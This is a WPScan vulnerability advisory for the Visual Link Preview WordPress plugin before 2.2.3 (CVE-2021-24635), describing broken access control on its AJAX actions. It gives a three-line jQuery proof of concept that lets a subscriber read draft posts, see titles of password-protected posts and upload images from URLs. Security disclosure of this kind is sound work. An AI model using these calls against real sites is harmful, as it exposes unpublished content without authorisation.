WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact
WPScan
How it worksPricing
Vulnerabilities
WordPressPluginsThemesStatsSubmit vulnerabilities
For developers
StatusAPI detailsCLI scanner
Contact

WordPress Plugin Vulnerabilities

Visual Link Preview < 2.2.3 - Unauthorised AJAX Calls

Description

The plugin does not enforce authorisation on several AJAX actions and has the CSRF nonce displayed for all authenticated users, allowing any authenticated user (such as subscriber) to call them and 1) Get and search through title and content of Draft post, 2) Get title of a password-protected post as well as 3) Upload an image from an URL

Proof of Concept

Run the following command in the Web Developer console of the Web browser while logged in as a Subscriber.

jQuery.post(ajaxurl,{security:vlp_admin.nonce,id:POST_ID,action:"vlp_get_post_content"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,search:"KEYWORD",action:"vlp_search_posts"});
jQuery.post(ajaxurl,{security:vlp_admin.nonce,url:"IMAGE URL",action:"vlp_save_image"}); 

Affects Plugins

visual-link-preview
Fixed in version 2.2.3

References

CVE
CVE-2021-24635

Classification

Type

ACCESS CONTROLS

OWASP top 10
A5: Broken Access Control
CWE
CWE-284

Miscellaneous

Original Researcher

apple502j

Submitter

apple502j

Verified

Yes

WPVDB ID
854b23d9-e3f8-4835-8d29-140c580f11c9

Timeline

Publicly Published

2021-08-18 (about 9 months ago)

Added

2021-08-18 (about 9 months ago)

Last Updated

2022-04-09 (about 1 months ago)

Our Other Services

WPScan WordPress Security Plugin
WPScan

Vulnerabilities

WordPressPluginsThemesOur StatsSubmit vulnerabilities

About

How it worksPricingWordPress pluginNewsContact

For Developers

StatusAPI detailsCLI scanner

Other

PrivacyTerms of serviceDisclosure policy
jetpackIn partnership with Jetpack
githubtwitterfacebook
Angithubendeavor
Work With Us